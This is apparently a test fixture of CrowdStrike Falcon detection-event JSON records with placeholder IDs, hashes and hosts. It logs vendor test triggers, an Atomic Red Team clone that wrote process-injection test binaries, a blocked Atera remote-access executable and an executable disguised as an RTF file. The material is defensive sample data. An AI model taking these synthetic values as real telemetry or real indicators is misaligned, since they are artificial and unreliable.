Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}}
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}}
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}}
-{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice  /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}}
-{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}}
-{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}}
